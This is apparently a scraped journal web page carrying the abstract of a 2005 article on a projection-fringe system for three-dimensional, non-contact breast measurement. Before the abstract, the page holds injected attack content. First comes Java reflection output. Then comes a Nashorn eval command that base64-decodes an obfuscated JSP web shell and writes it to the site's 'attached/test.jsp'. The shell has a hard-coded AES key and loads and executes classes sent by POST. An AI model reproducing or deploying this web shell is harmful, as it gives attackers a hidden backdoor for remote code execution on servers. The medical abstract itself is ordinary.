public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2005, Vol. 25 ›› Issue (03): 262-266.

Previous Articles     Next Articles

Three-dimensional breast non-contact measurement

ZHA Xuan-ping1, DU Fang2, GAO Jian-hua1, LI Shi-heng2, JIANG Ping1, LIU Si-fang2, LIAN Yun-feng2   

  1. 1. 南方医科大学南方医院整形外科, 广东, 广州510515;
    2. 军械工程学院机械制造教研室, 河北, 石家庄, 050003
  • Online:2005-03-20 Published:2005-03-20

Abstract: Objective To develop a system for three-dimensional (3D) non-contact measurement of breast using computer-aided projection fringe measurement (CAPFM).Methods A system of 3D non-contact breast measurement was developed based on CAPFM and used for measurement of a plastic model mimicking human breast.Results The CAPFM system was capable of non-contact 3D measurement with rapid data collection (within 0.5 s) and measurement (no longer than -3 min). This system was highly automatic, and with software-controlled measurement, the sensitivity was as high as 0.6mm (for linear measurement) and 1ml (for volume measurement), to well meet the clinical requirements. The measurement results could be stored and expressed in numerical values or represented in vivid 2D figures and 3D images, which facilitated subsequent studies.Conclusion The 3D non-contact breast measurement system on the basis of CAPFM can be helpful for medical assessment of the breast.

CLC Number: